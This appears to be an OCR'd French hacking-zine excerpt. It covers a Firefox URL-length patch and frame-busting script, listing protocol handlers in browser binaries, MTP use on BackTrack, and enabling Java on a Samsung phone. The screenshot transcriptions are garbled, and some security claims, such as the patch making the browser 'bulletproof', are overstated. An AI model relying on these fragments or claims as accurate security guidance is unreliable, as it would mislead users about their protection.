bookmarkhistoryemptytext="&urlbar.bookmarkhistory.emptyText;

BB
maxlength="1000"
bookmarkemptytext="&urlbar.bookmark.emptyText;"
historyemptytext="8&urlbar.history.emptyText;"
noneemptytext="&urlbar.none.emptyText;"
chromedir="&locale.dir;"
type="autocomplete"
autocompletesearch="history"
autocompletepopup="PopupAutoCompleteRichResult

mramnl At arAal AmtadLs nA A N Al

Ajout du patch maxlength

10

[«I>]

5 . Etape 3 compilation et/ou compression de I'archive jar (non signée) :

Maintenant que les modifications ont été effectuées il ne reste plus qu’a les appliquer , pour cela nous allons devoir compresser
notre archive , pour cela rien de plus simple avec les logiciels de compression normaux qui prennent pratiquement tous en charge
le format jar. dans ce cas c’est toujours avec ark, on va créer une nouvelle archive , y ajouter les dossier de maniere identique a
I'originale de firefox ensuite nous sauvegarderons I'archive et il ne restera plus qu’a remplacer I’original et le tour sera joué.

o Create New Archive - Ark o X
O . - :
0 . o I, Hh!optfflrefoxfchmmefbackupf L]
I e CoOntent
“* Desktop -

)n? Home Folder
h Storage Media

%) Network Folders

Location: "browser.jarl i, H I:Sa\.re II
Filter: [Ja\.ra Archive i]

& Automatically select filename extension ( jar)

création d'une nouvelle archive :browser.jar

U gl
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Ajoutez le contenu du dossier backup créé précédemment a I'archive browser.jar (celui ci dois contenir le dossier content de

I’archive browser.jar extraite et modifiée).

file://fopt/firefox/chrome/backup/browser.jar - Ark

File Edit Action Settings Help

|

oA Ah A g0

E» Search: I
Filename ° | Size | Methaod Size Mow | Ratia | Timestarmp I
= ‘e content 0B Stored 0B 0.0% 2009-10-06 20:57 0.
5 | browser 0B Stored B 0.0 % 2009-10-0717:47 0.
5. e bookmarks 0B Stored 0B 00% 2009-10-06 20:57 0.
- bookmarksPanel.js 804 B Defl:MN 3B B 550 % 2009-08-24 0931 2.
@ bookmarksPanel.xul 19KB Defl:N T4 B 62.0% 2009-08-24 09:31 f.
= sidebarltils.js 3.3 KB Defl:N 11KB 6E6.0% 2009-08-24 09:31 3.
0B Stored 0B 0.0 % 2009-10-06 20:57 0

= e certerror

L]

L«

o files selected

132 files 2.0 MB

Collez le nouveau browser.jar dans le répertoire chrome et pensez a renommer le fichier browser.jar original aux cas ou vous

aurez fait une bourde.

=]

chrome - Kongqueror

Location Edit View Go Bookmarks Tools Settings Window Help

ajout de dossier "content" dans I'archive browser.jar nouvellement crée

i =1 (=] (28

[T X=X R

O e

- 2O

HER

JJ E3 Location: ”-..,fc;pt.‘firefcux.-‘chmme;r

R

4 Root Folder
(g bin
(g b oot

- g d ey

; Cglete

g home
g install
ik

g |05t +fOUNd
e media
e mINE
lopt

T-'-..AutoScan
+- g browser_ads
+-gldrivers

- g firefox

i-'h.backup

content
: e branding|«

[«]]

|Name N Size |FiIeType
+-{gubackup 4.0 KB Folder
i---b.icons 4.0 KB Faolder

: ""_'browser.manifest
- = classicjar

~ classicmanifest
~ = comim.jar

~ comm.manifest
- = en-Us jar

~ en-US.manifest
~ = pippkijar

~ pippki.manifest
= = reporterjar

reparter.manifest
- = toolkitjar

~toolkit.manifest

604.2 KB |ava Archive
728 B Plain Text Dog
591.8 KB |ava Archive
549 B Plain Text Do)
39.1 KB |ava Archive
144 B Plain Text Dog
466.2 KB |ava Archive
1.2 KB Plain Text Dod
273.2 KB ]ava Archive
69 B Plain Text Dod
38.5 KB |ava Archive
439 B Plain Text Doc)
1.9 MBE |ava Archive
517 B Plain Text Dog

[«I»

|§|brow5erold.jar(604.2 KB} |Java Archive

Pensez a renommer le fichier browser.jar original

Votre firefox a été patché avec succes, vous étes a I'épreuve des balles, désormais le nombre de caractere dans |'url seront

réduits au nombre que vous aurez choisis.
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6 .Protection contre les injections de frames ( How to break frames with javascript) :

Les injections de frames font partie des failles les plus répandues , en effet ,les frame ou iframe qui permettent de relier les sites
entre eux et hélas sont utilisées de maniére malicieuse la plupart du temps pour des attaques de type phishing , débordements ,
execution de code a distance , clicking forcé etc ...

La correction du coté serveur va s'effectuer ainsi, le script ci-dessous est inspiré d’un script anti-pub,va permettre de redirrigé le
document Framé ou Iframé par une quelconque personne malicieuse et donc cassé la frame (frame breaking) en redirrigeant le
document (la page) directement vers la source de la frame ou de l'iframe. L'url du site malicieux sera ainsi désobfusquée et
donc identifiable. Vous pouvez placer ce script sur votre page de login par exemple.

Script de correction (pensez a I'intégrer dans les balises script appropriées ou dans un fichier .js):

if (top.frames.length!=0) top.location=self.document.location;

7 .Conclusion :

Dans cet articles nous avons vu comment il été possible d'effectuer une sécurisation de votre outil de navigation (firefox) grace
aux informations qui sont disponible sous licence libre sur la toile. Le bénéfice de la licence libre est que justement celle-ci
permet de mieux comprendre les outils, et le fonctionnement des logiciels ou applications que nous utilisons tous les jours car
son code source est ouvert. Pour approfondir vos recherche dans la sécurisation du html et des possibilitées d'exploitation
javascript dans ce domaine voici ce que vous devrez savoir différencier a I'intérieur du navigateur :

pentest workaround :
document.domain
document.referer
document.location

document.URL

En vous servant des conaissances que vous trouverez sur le web vous pourrez ainsi essayer d'approfondir les recherches dans ce
domaine et coder vous méme vos propres sécurités. N'oubliez pas de prévenir les personnes concernées.

Dans la démonstration effectué nous avons utilisé
. la version 3.5.3 de firefox
. le plugin firebug
. Backtrack 4

. |'éditeur de texte kate

Liens intéressants :
http://www.mozilla.com/en-US/firefox/personal.html
http://www.backtrack-linux.org/
http://getfirebug.com/

TR T m——
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Protocol exploration / identification

W -

par p3lo

Introduction

IE protocol exploration (sur windows)

Firefox protocol exploration (sur ubuntu Lucid TLS 10.4)
Conclusion
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1 .Introduction:

Dans cet article nous allons tenter de vous dévoiler |'exploration de protocoles a I'intérieur de vos navigateurs, I'exploration de
protocoles est intéressante lorsque vous aurez besoin de prendre conaissance des différents moyens employés par les
navigateurs pour transmettre les données contenant des informations a I'intérieur de différentes applications. Les protocoles sont
importants a connaitre pour les personnes souhaitant développer des applications et transmettre des données, en sécurité
informatique , les protocoles peuvent étre fuzzé, parfois méme permettant I'execution de code a distance , il est nécessaire de
connaltre les protocoles utilisés par les pirates afin de pouvoir parer les différents types d'attaque possible . Dans cet article je ne
dévoilerais aucune technique permettant d'exploité les protocoles mais plutot la technique qui permet de les identifier a
I'intérieur des navigateurs.

Selon Wikipedia :

"Dans les réseaux informatiques et les télécommunications, un protocole de communication est une spécification de plusieurs
regles pour un type de communication particulier.

Initialement, on nommait protocole ce qui est utilisé pour communiquer sur une méme couche d'abstraction entre deux machines
différentes. Par extension de langage, on utilise parfois ce mot aussi aujourd'hui pour désigner les regles de communication entre
deux couches sur une méme machine.

Les protocoles de communication les plus utilisés sont les protocoles réseau."

A l'intérieur de votre navigateur (IE ou firefox) la chalne de caractere manifestant la présence de I'utilisation d'un protocole est :
v/

Par exemple le protocole de communication utilisant le http s'écrira ainsi :

http://fu.tld

Certains protocoles sont accessible nativement a l'intérieur d'une barre d'URL et d'autre non. Nous pourrons retrouver un
protocole a I'aide des encodages utilisés par I'application pour encodé le protocol.

Note : En programmant vous comprendrez qu' il est possible d'utiliser les protocoles pour envoyer des requetes dans un langage
de programmation précis et méme de créer vos propres protocoles de communication personnalisés.

Sur un systéme d'exploitation windows utilisant internet explorer , nous pourrons voir certains protocoles « cachés » a l'intérieur
de librairies dynamiques (dlIl) ou d'executables. Sur un systéme linux nous pourrons aussi désassembler ou extraire les chaines
de caracteres a l'intérieur des executables. Certains protocoles ne sont pas libres de droit ,ayez des actes responsables.

2 .IE protocol exploration (sur windows):

Comme nous vous l'avions expliqué précedemment nous allons essayé de rechercher différents protocoles contenu a l'intérieur
de dll. Bien souvent certains protocoles contiennent des regles qui limitent leurs utilisation a certaines zones , par exemple pour
le protocol file:// dans le but d'éviter certaines failles celui-ci ne sera accessible que localement.

Sur Internet explorer 8 parfois lorsque votre addresse dns se voit mal configurée il est possible qu'une page de ce type
apparaisse :

res://ieframe.dll/acr_depnx_error.htm

Analyse :

Le protocole de ressources res:// est utilisé , celui-ci fait appel a une dll du nom de ieframe.dll , a I'intérieur une fonction faisant
appel a une ressource html nommée acr_depnx_error.htm . C'est inexploitable .. quoi que ?

] I'
|
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Maintenant nous allons regardé a I'intérieur de la dIl appellée ieframe.dll en changeant le binaire en texte et en recherchant la
chaine de caractére contenant les protocoles possibles . Notons que la dll va contenir plusieurs protocoles plus ou moins
exploitables , lorsque vous chercherez a exploiter un protocole prenez le temps de comprendre ce que vous ferez. Certains
protocoles sont assez permissifs (nottement ceux qui permettent I'execution de javascript et de xml, et de contenu encodé) .

Voici le résultat de la recherche de la chaine de caractére :// a l'intérieur de la dll ieframe.dll avec I'utilitaire bin2txt:

00005DB5
00007F75
0001B851
0008ADE1
0009A009
0009A018
0009A02D
0009F6C1
000A183C
000A9738
000B2159
000E28F9
000F5C91
0011479D
001834C5
001871E1
00188474
0018C489
0018CC5F
001AB53D
001AB7CD
001B119C
001C1909
001DB199
001E8D69
001E8EA9
0020FF81
00234831
00234881
0023A8D8
00244021
00245169
00246598
00248839
00262C65
0026A0F1
0026AE31
0026EC41
0026EC91
0028A6D1
002B0029

004069B5
00408B75
0041C451
0048B9E1
0049AC09
0049AC18
0049AC2D
004A02C1
004A243C
004AA338
004B2D59
004E34F9
004F6891
0051539D
005840C5
00587DE1
00589074
0058D089
0058D85F
005AC13D
005AC3CD
005B1D9C
005C2509
005DBD99
005E9969
005E9AA9
00610881
00635431
00635481
0063B4D8
00644C21
00645D69
00647198
00649439
00663865
0066ACF1
0066BA31
0066F841
0066F891
0068B2D1

006B0C29

0 iehistory://

0 ierss://

0 https://ieonline.microsoft.com/#ieslice

0 x-$home$://null

0 http://

0 https://

0 filey/

0 file:///%s

0 ftp://

0 http:/

0 res://ieframe.dll/tabswelcome.htm
0 filey///c:\

0 res://ieframe.dll/

0 res://ieframe.dll/dnserror.htm

0 %s://%s

0 file:/

0 “file://%1",,-1,,,.,

0 http://www.microsoft.com/schemas/openservicedescription/1.0
0 Ihttp://www.

0 %ws://%ws%ws

0 res://%ls/%ls

0 res://

0 http://go.microsoft.com/fwlink/?Linkld=57426&

0 res://iesetup.dll/IESecHelp.htm

0 -url "hcp://services/layout/fullwindow?topic=ms-its:%25HELP_LOCATION%25\Updatel.chm::/Block_downloads.htm"
0 mshelp://windows/?id=fdclee72-f1d9-4ba6-927e-4d87aa82f770
0 res://iesetup.dll/IESechelp.htm

0 http://opensearch.org/searchsuggest2

0 http://schemas.microsoft.com/Search/2008/suggestions

0 file://

0 xmlns:os="http://www.microsoft.com/schemas/openservicedescription/1.0'
0 http://a9.com/-/spec/opensearch/1.1/

0 http://schemas.microsoft.com/Search/2008/

0 xmins:ie="http://schemas.microsoft.com/Search/2008/'

0 file:///

0 %s://%s/favicon.ico

0 http://auto.search.msn.com/response.asp?MT={searchTerms}&srch=%d&prov=%s&utf8
0 res://ieframe.dll/acr_depnx_error.htm

0 res://ieframe.dll/acr_error.htm

0 http://go.microsoft.com/fwlink/?Linkld=129335

0 xmins:cf="'http://www.microsoft.com/schemas/rss/core/2005' xmlns:cfi="http://www.microsoft.com/schemas/rss/core/2005/internal’

xmins:atom="http://www.w3.0rg/2005/Atom' xmins:mon="http://www.microsoft.com/schemas/rss/monitoring/2007'

02B0698 006B1298

002B1409
002B1509
002BD235
002E2001

00682009
006B2109
006BDE35

006E2C01

0 res://ieframe.dll

0 /rss/channel/*[local-name() = 'X-UA-Compatible' and namespace-uri() = 'http://www.microsoft.com/schemas/rss/monitoring/2007']
0 /rss/channel/*[local-name() = 'descriptionStyles' and namespace-uri() = 'http://www.microsoft.com/schemas/rss/monitoring/2007']
0 http://%s/

0 xmlns:cf="http://www.microsoft.com/schemas/rss/core/2005' xmlns:cfi="'http://www.microsoft.com/schemas/rss/core/2005/internal’

xmins:atom="http://www.w3.0rg/2005/Atom'

L---ll—llll
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002E5889 006E6489 0 url(res://ieframe.dll/feed_shadow.png) no-repeat bottom right

002FF041 O006FFC41 0 feed://https://

002FF421 00700021 0 feed://

0033BFFD 0073CBFD 0 mshelp://windows/?id=

0033ED31 0073F931 0 mshelp://windows/?id=95211ecc-19b5-439a-b6c5-e2aefd801303

0034A739 0074B339 0 https://ieonlinews.microsoft.com/

00372110 00774B10 0 <asmv3:windowsSettings xmIns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
005DD8C2 009E02C2 0 updateUrl = "http://go.microsoft.com/fwlink/?Linkld=54798";

005E23D8 009E4DD8 0 (http(s?)|ftp|file)://", "i");

005E2F66 009E5966 /I res://shdocvw.dll/http_404.htm#http://www.DocURL.com/bar.htm
005E2FC4 009E59C4 //DocURL = "res://shdocvw.dll/http_404.htm#http://www.microsoft.com/bar.htm"
005E30FA 009E5AFA //this is where the http or https will be, as found by searching for :// but skipping the res://

005E33E6 009E5DE6

0
0
0
005E3163 009E5B63 0 protocolindex=DocURL.indexOf("://", 4);
0 //for display, we need to skip after http://, and go to the next slash
0

005E6455 009E8E55 /1 4th- strip off the protocol part 'xx://'

005E64B5 009ESEB5 0 return stripPath(stripPath(extractAllAfterChar(extractUpToChar(extractUpToChar(extractAllAfterChar(longURL, "@"), "?"), "#"), “//"), "I"),
“\\");

Attention certains éléments affichés sont copyrighté par microsoft soyez bien conscient des test que vous ferez par la suite,
gardez en téte : you do it just for the PoC .

3 . Mozilla Firefox protocol exploration (sur Ubuntu Lucid 10.4 TLS):

Sur linux avec le terminal il est possible de retrouver la liste des protocoles et d'écrire le fichier sortie dans un fichier txt en
utilisant la commande find, grep et strings.

ubuntu@ubuntu ind / -exec grep -H -n ‘dev/null {} \; -print > protocoles.t

find /dossier-mozilla/ -exec grep -H -n :// /dev/null {} \; -print > protocoles.txt

La commande -H -n permet d'afficher le numéro de ligne et le nom de dossier dans lequel le résultat escompté est retrouvé.
La commande -print permet d'activer le mode verbeux.

La commande exec permet I'executer une seconde commande couplée avec la commande find.

Le fichier de sortie contenant le nom des dossier , la destination et les chaines de caractéres recherchées se nomme
protocoles.txt

La commande /dev/null permet d'enlevé les résultat ne correspondant pas a la chaine recherchée.

4 . Conclusion :

Comme vous avez pu le constater il est assez facile d'identifier les protocoles utilisés par les applications en s'aidant de leurs
points communs. L 'exploitation des protocoles dépends bien souvent de la bidouillabilité qui leur est accordé , c'est pourquoi il
est intéressant de connaitre par quel moyens les pirates souhaiterons passer pour arriver a votre root .
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Mobile software phreaking
par p3lo

l. Le protocole MTP
MTP installation
MTP utilisation

liens annexe

Il.Exploration into Samsung SGH u600

Introduction

Les caracteristiques software du telephone

Comment Activer Java et le principe des fichiers .jad

Les applications java opensources compatibles avec le telephone

Introduction a la programmation d'applications Java midp 2.0 cldc1-1 sur backtrack

uRwNH

L3 '.
-.mm I
i

mut ., m*ﬂ

_ nm

m
| T
“
ll.
i

.IIII-IIIIIMIIIHIHIIII_III



R B Y F OO,

IIH I software phreaking

1. Le protocole MTP

MTP installation (backtrack 4)

MTP (Media Transfer Protocol) est un protocole inventé par Microsoft pour permettre aux appareils mobiles multimédia (appareil
photo, lecteur MP3...) de communiquer entre-eux. C'est un protocole propriétaire, ce qui signifie que ses spécifications ne sont
pas publiques. Il s'oppose en cela a I'UMS (USB Mass Storage). Un grand nombre de marques I'ont adopté. Le protocole sera
inclus nativement dans la version lucid lynx de ubuntu. Ce tutoriel a été testé sur nokia 6503 .

Ajoutez les dépots debian

nano /etc/apt/sources.list

Session Edit View Bookmarks Settings Help

d
d
.arc
Vil
erse rove
ve
W
er e =
=) ell | @8 Shell Mo, 2 m

Mettez a jour la liste des paquets
apt-get update

Installation de mtp-tools
apt-get install mtp-tool
Permet d'installer a partir des paquets le montage de partitions par le biais du protocole mtp

apt-get install mtpfs

MTP utilisation (backtrack 4)

Détection du protocole MTP
mtp-detect
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@ shell | @ shellno. 2

Affiche les fichiers présents dans le systeme.
mtp-files

root@hbt: ~ - Shell No. 2 - Konsole

Session Edit View Bookmarks Settings Help

@ Shell No. 2

Affiche les dossiers présents sur le téléphone.
mtp-folders

(screenshot a la page suivante)
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Session Edit Wiew Bookmarks Settings Help

@ shell No. 2

Création du dossier “mtp” qui servira a monter les fichiers
mkdir /media/mtp

Change les droits d'écriture du dossier en 777 (r/rw/w)
chmod 777 -R /media/mtp

Commande permettant de monter la partition par l'intermédiaire du protocole mtp (pour tout utilisateurs)
mtpfs -o allow_other /media/mtp

pour que l'utilisateur root ait acces au dossier :
mtpfs -o allow_root /media/mtp

Navigation dans le dossier monté.
cd /media/mtp/

Permet de umount ou démonté (de maniére logicielle) grace aux paquets fuse la partition préalablement montée.
fusermount -u /media/mtp

Liens annexe :

Media Transfer Protocol v.1.0 Spec and MTP v.1.0 Adopters Agreement (.zip format, size 1.86MB):
http://usb.org/developers/devclass_docs/MTP_1.0.zip

Définition du protocole MTP
http://fr.wikipedia.org/wiki/Media_Transfer_Protocol

Video Voir dans la section video.
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il. Exploration into Samsung SGH u600

9/03/2010
1. Introduction

Outils nécessaire pour la pratique :
- un telephone samsung SGH-U600

un backtrack , ou n'importe quel autre holy free OS
un lecteur ecriveur de cartes sim / t-flash / microSD (ca coute moins de 10 euros dans le commerce)

Nous allons commencés soft et parler des différentes maniéres de bidouiller son samsung sgh-U600, et un peut de
programmation JAVA. Dans ce support papier nous allons essayer de mieux comprendre

Les caracteristiques software du telephone

Comment Activer Java et le principe des fichiers .jad pour les applications contenu dans les jar
Les applications java opensources compatibles avec le telephone

Introduction a la programmation d'applications Java midp 2.0 cldcl-1 sur linux backtrack 4
Conclusion

oRbhWN

2. Les caracteristiques du telephone

Le web est assez riche en information.

Samsung SGH-U600

Profils MIDP-2.0 Configuration CLDC-1.1 Version de JTWI 1.0
Résolution de I'écran(Canvas) 240x264 Ecran couleur Oui 65536 couleurs
Ecran tactile ou souris (hasPointerEvents()) Non

Evénements de déplacement du stylet (HasPointerMotionEvents()) Non

Ecran & double buffer Oui

Options Mémoire
Envoi / Réception de SMS par Java (WMA JSR-120) Oui Taille du tas (RAM) 1535ko
Version de I'API Multimédia Mobile (MMA JSR-135) 1.1 Mémoire maximum accordée a TastePhone 1327ko
MMA peut prendre des photos Non [1319...1338]
Une mobilette peut utiliser Bluetooth (JSR-82) Oui Mémoire croissante Non
Compatible graphismes 3D (JSR-184) Oui Tas libre au démarrage 1417ko [1417...1417]
Positionnement géographique avec Java (Location API JSR-179) null Mémoire Flash libre (RMS) 25554ko [1351...57579]
Région
Afrique
Amérique du Sud
Europe
Pays Opérateur Pays

Maroc Meéditel Maroc
Bresil Claro Brésil
Allemagne 02 Allemagne
France
Royaume Uni Bouygues Telecom France

Orange France

02 Royaume Uni

Performance Divers

Performance 184.7050 La mobilette peut rester active en arriére-plan Oui
Vitesse du processeur Java virtuel 8,6MHz [7,6...8,9] Auto-répétion touche pressée (HasRepeatEvents()) Oui

Aussi rapide qu'un PIII (sans compilateur Java) & 157,2MHz
[136,8...160,2]

Performance pour calculs 126 [120...133]

Vitesse mémoire en lecture 6501 ko/s [6437...6555]

Vitesse mémoire en écriture 5240ko/s [5168...5285]

Vitesse copie de mémoire avec arraycopy() 76356ko/s [73834...78592]

video.snapshot.encodings
encoding=jpeg
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Nous voyons que le sgh-u600 comprends quelques applications JAVA car des jeux y sont préinstallés, suite a une recherche
google qui a permis de savoir quel version de java est supporteé sur le telephone (le type de framework,le profil,la
configuration et biens d'autres choses utiles).

Note : il est aussi possible de connaitre les caracteristiques de son GSM en executant un benchmark grace a une application
JAVA prévue a cet effet (voir JoenchmarkHD pour MIDP dans la 4eme partie de I'article).

Quelques renseignements supplémentaires venant de http://wikipedia.fr.

<< )2ME (Java 2 Micro Edition) ou Java ME

Framework |ava spécialisé dans les applications mobiles. Des plates-formes Java compatibles avec J2ME sont embarquées dans
de nombreux téléphones portables et PDA.

Une plate-forme J2ME est composée :

* d'une KVM (Kilobyte Virtual Machine), une machine virtuelle capable d'exécuter une application Java
- d'une « configuration », une APl donnant acces aux fonctions de base du systeme
« d'un « profil », une API donnant accés aux fonctions spécifiques de la plate-forme.

Les configurations les plus courantes sont :

® CLDC (Connected Limited Device Configuration), que I'on retrouve par exemple dans les téléphones mobiles

® CDC (Connected Device Configuration), qui est plutét utilisé dans des décodeurs de télévision numérique

Les profils les plus courants sont :

®* MIDP (Mobile Information Device Profile), dont sont équipés les téléphones WAP J2ME

®* DoJa, développé par NTT DoCoMo pour les téléphones i-mode J2ME

Les téléphones se caractérisent par leur fragmentation qui se traduit sur JavaME : les caractéristiques des mobiles sont
différentes d'un constructeur a un autre rendant ainsi complexe et coliteux le développement d'applications mobile.

Certaines applications sont développées pour fonctionner sur un nombre important de portables (GoogleMap par exemple, ou
OperaMini). D'autres se doivent d'étre développées pour correspondre précisément aux caractéristiques des téléphones ciblés.
Cette étape s'appelle le portage. Plusieurs solutions existent notamment Celsius la solution logicielle de Mobile Distillery et Jump
celle de Tira Wireless ou encore NeoMAD de Neomades. >>

En cherchant sur la toile vous trouverez surement un schéma constructeur je n'ai pas préféré le lié dans I'article a cause des
droits qui lui sont liés. Par contre on peut retrouvé l'architecture :

Architecture J2ME

MIDF
Tha MIDP Profile Layer
E—
Profile Layer
The J2ME Architectura Conflguration Layer CLDG ||
Java Virtual Machine

Source : ibr.com
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http://fr.wikipedia.org/w/index.php?title=Connected_Device_Configuration&action=edit&redlink=1
http://fr.wikipedia.org/wiki/Connected_Limited_Device_Configuration
http://fr.wikipedia.org/wiki/Machine_virtuelle
http://fr.wikipedia.org/wiki/Assistant_personnel
http://fr.wikipedia.org/wiki/T%C3%A9l%C3%A9phones_portables
http://fr.wikipedia.org/wiki/Java_(langage)
http://fr.wikipedia.org/wiki/Java_2
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3. Comment Activer Java et le principe des fichiers .jad pour les applications

*#9998*4678255# Permet d'activer la lecture des applications java dans le dossier autres fichiers contenu sur votre carte
microSD.

Un midlet est une application qui utilise le MIDP (Mobile Information Device Profile) de la CLDC (Connected Limited Device
Configuration) pour I'environnement Java ME. En d'autres termes cela correspond aux applications créées avec MIDP ce sont des
classes qui héritent de la classe abstraite javax.microedition.midlet.Midlet. Cette classe permet le dialogue entre le systeme et
I'application.

Elle posséde trois méthodes qui permettent de gérer le cycle de vie de I'application en fonction des trois états possibles (active,
suspendue ou détruite) : startApp() - Méthode appelée a chaque démarrage ou redémarrage de I'application.

pauseApp() - Méthode appelée lors de la mise en pause de l'application. destroyApp() - Méthode appelée lors de la
destruction de I'application. Le cycle de vie d'une MIDlet est semblable a celui d'une applet.

Voici les 3 méhodes qu'on doit appliquer pour que I'application puisse communiquer avec le gestionnaire d'applications.

public class Application extends MIDlet {
public Application() { }

// Called when the MIDlet is created or re-started
public void startApp() { }

// Called to pause the MIDlet
public void pauseApp() { }

// Called to terminate the MIDlet
public void destroyApp(boolean unconditional) { }
}

L'application ou midlet aura cette forme :
-Unité de stockage (autre fichiers)
-fichiers jad
-fichier jar (contenant les sources , les ressources et les classes)
Le fichier jad , a un peu le meme role que les fichiers .manifest sur une architecture OSI. lls permettront de donner des
informations relative aux réglages des transaction application-->systeme.

Modéle de fichier jad

MIDlet-1: <Application name>, <icon path>, <midlet class>
MIDlet-Jar-Size: <Size in bytes>

MIDlet-Jar-URL: <Associated JAR file>

MIDlet-Name: <Application name>

MIDlet-Vendor: <Company>

MIDlet-Version: <Application version number>

MicroEdition-Configuration: <CLDC version>

MicroEdition-Profile: <MIDP version>




B B
B Y F IO R
R

La specification MIDP2 veut que les serveurs web distribuent les fichier jad avec un type mime "text/vnd.sun.j2me.app-descriptor". Si ce type mime n'est pas

respecter le telephone échouera lors de l'installation du midlet.

Une application permettant de généré les fichier JAD a partir d'un fichier JAR :

JADMaker (Windows)
par mangokun

http://www.archive.org/download/tucows_347348 |ADMaker/JADMaker.zip

Ou le faire manuellement a partir des sources avec :
Sun Java(TM) Wireless Toolkit (toutes plateformes)

http://java.sun.com/products/sjwtoolkit/download.html

Pour transféré des applications de votre disque dur sur votre telephone a partir de linux , (backtrack
4 dans I'exemple).

Munissez vous de votre lecteur MicroSD. Branchez le sur votre port USB. Soit vous avez |'autorun
qui s'occupe de vous demandez si vous souhaitez ouvrir directement le fichier ,ou vous pouvez
charger la clé manuellement a I'aide du shell.

Ouvrez le shell pour executer les commandes suivantes :
root@bt:~# fdisk -I

Session Edit View Bookmarks Settings Help

Disk /dev/sdd: 1836 MB, 1838225920 bytes

32 heads, 62 sectors/track, 1814 cylinders

Units = cylinders of 1984 * 512 = 1015808 bytes

Disk identifier: 0x00000808

Device Boot Start End Blocks Id System
~# cd /mnt && mkdir sdd |
:/mnt# mount fdev/sdd /mnt/sdd
:/mnt# Une fois les manipulations termim mount fmntfﬁddl *
+
= | & shell a

Copiez les fichiers jar(java archive) et jad dans la clé a l'intérieur du répertoire “other files” ou “autres fichiers”.



http://java.sun.com/products/sjwtoolkit/download.html
http://www.archive.org/download/tucows_347348_JADMaker/JADMaker.zip
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Location Edit View Go Bookmarks Tools Settings Window Help

QUOR OX = ®= M X

L Location: [[Q fmnt/sddjOther files l ¥ i HJ
HID1le:t- E:l
HID1let-
HIDLet- —_—

HID1et-
HID1let-

midlet.jad midlet.jar

5 Items - 5 Files (531.8 KB Total) - No Folders

Une fois la clé démontée de votre pc, remettez la dans votre telephone puis naviguez dans :

Menu — Gestion des fichiers - Carte mémoire - Other files » Options —»Copier vers - telephone .

Retournez dans Menu - Gestion des fichiers — Autres fichiers - Options — installer —» Oui

Et vos applications java sont installées.

4. Les applications java free/opensources compatibles avec le telephone

Maintenant que vous en savez mieux sur les midlets, les applications java , I'architecture , il est temps de tester quelques
applications opensource. Je ne citerais pas toutes les applications car elles sont trop nombreuses, mais seulement celle que j'ai
installée et qui marchent sur I'appareil que j'ai pu testé.

Un lien interessant avec de multiples applications opensources et free :

http://tuxmobil.org/pda_linux_apps_java.html



http://tuxmobil.org/pda_linux_apps_java.html
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JbenchmarkHD Qui permet de connaitre les caracteristiques précise de votre telephone (JSR) pour compiler par la suite vos
applications avec les bon reglages

http://jbenchmarkhd.en.softonic.com/java

MIDP-ssh : application java permettant d'utiliser un client ssh sur mobile équipé de java.

http://www.xk72.com/midpssh/

Mjetz : Un navigateur /client de messagerie ,qui permet de naviguer sur facebook, msn, wikipedia, les pages jaunes etc..

http://www.brothersoft.com/mobile/mjetz-download-4801.html

Trackut : Un réseau social qui peut servir de gps pour retrouver ses amis.

http://www.trackut.com

J2eMap : Google earth en JAVA.
http://j2memap.landspurg.net/J2ME_Downloads.html

Pocketlamp : Qui permet d'afficher la couleur que vous souhaitez sur votre écrans, pas mal quand vous avec cassé votre flash/
lampe torche.

http://pocket-lamp.softonic.fr/java

Jzipman : un archiveur de fichier qui permet de compresser décompresser des archives zip , rar.

http://jzipman.softonic.fr/java

Zelda Mobile : Une version beta libre du jeu zelda trés bien pensée codée par un passionné.

Http://zeldamobile.gorthwogh.com

5.Introduction sur la programmation d'applications Java(MIDP 2.0, CLDC-1.1) linux backtrack 4

Pour commencer la programmation sur linux , on va devoir se munir du developper kit ou SDK de java.

root@bt:~# apt-get install openjdk-6-jre

5. Installation de sun java wireless toolkit sur backtrack 4

(les manipulations a effectuer pour I'installation sont surlignées en gras)

Dans I'exemple suivant on a utilise openjdk comme interpréteur java. Le wireless toolkit est téléchargeable grace au lien donné
précedemment.

root@bt:/mnt/sdal/phreak# ./sun_java_wireless toolkit-2.5.2_01-linuxi486.bin.sh
Sun Microsystems, Inc. ("Sun”) ENTITLEMENT for SOFTWARE

Licensee/Company: Entity receiving Software.

Effective Date: Date of delivery of the Software to You.

Software: Sun Java Wireless Toolkit 2.5.2 for CLDC.

License Term: Perpetual (subject to termination under the SLA).

Licensed Unit: Software Copy.

g L s



http://zeldamobile.gorthwogh.com/
http://jzipman.softonic.fr/java
http://jzipman.softonic.fr/java
http://jzipman.softonic.fr/java
http://pocket-lamp.softonic.fr/java
http://j2memap.landspurg.net/J2ME_Downloads.html
http://www.trackut.com/
http://www.brothersoft.com/mobile/mjetz-download-4801.html
http://jbenchmarkhd.en.softonic.com/java
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Licensed unit Count: Unlimited.

(..)

Please contact Sun Microsystems, Inc. 4150 Network Circle, Santa Clara, California 95054 if you have questions.
Do you agree to the above license terms? [yes or no] yes

0) Specify a path to a Java interpreter directory.

1) Cancel this installation.

Select a choice [0-1]: O

This application requires Java 2 SDK, Standard Edition (1.5 or later). Enter a path to a Java 2 SDK (For example: /user/jdk1.5/bin).
You can type "exit" to cancel installation.

Enter a path to the Java 2 SDK: /usr/lib/jvm/java-6-openjdk/bin
Jusr/lib/jvm/java-6-openjdk/bin/java
Testing /usr/lib/jvm/java-6-openjdk/bin/java...
Please enter a directory into which you would like to install the Sun Java(TM) Wireless Toolkit, 2.5.2 for CLDC.
[ default is /mnt/sdal/phreak/WTK2.5.2 ]:/mnt/sdal/java-folder/WTK2.5.2
Installation directory is /mnt/sdal/java-folder/WTK2.5.2.
(..)
Check for Product Updates? [yes or no] yes
Setup has enough information to start copying the program files.
Current Settings:
Destination Directory
/mnt/sdal/java-folder/WTK2.5.2/
JVM Folder
Jusr/lib/jvm/java-6-openjdk/bin/
Check for Program Updates
Enabled
Please choose one of the following options:
0) Begin copying files if you are satisfied with the settings .
1) Cancel the installation.
Select a choice [0-1]: O
Checksumming...
Extracting the installation files...
Documentation for the Sun Java(TM) Wireless Toolkit
2.5.2 for CLDC is in the file
/mnt/sdal/java-folder/WTK2.5.2/index.html/
In order to start using the Sun Java(TM) Wireless Toolkit 2.5.2 for CLDC, please run
/mnt/sdal/java-folder/WTK2.5.2/bin/ktoolbar

Pour executer Wireless toolkit il suffirat de rentrer dans la console :
root@bt:/mnt/sdal/phreak# /mnt/sdal/java-folder/WTK2.5.2/bin/ktoolbar

OTA server emulation started ...

HTTPS server emulation started ...
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Une fois le projet créé allez dans project - settings

Eile Edit |Project| Help
Build . .
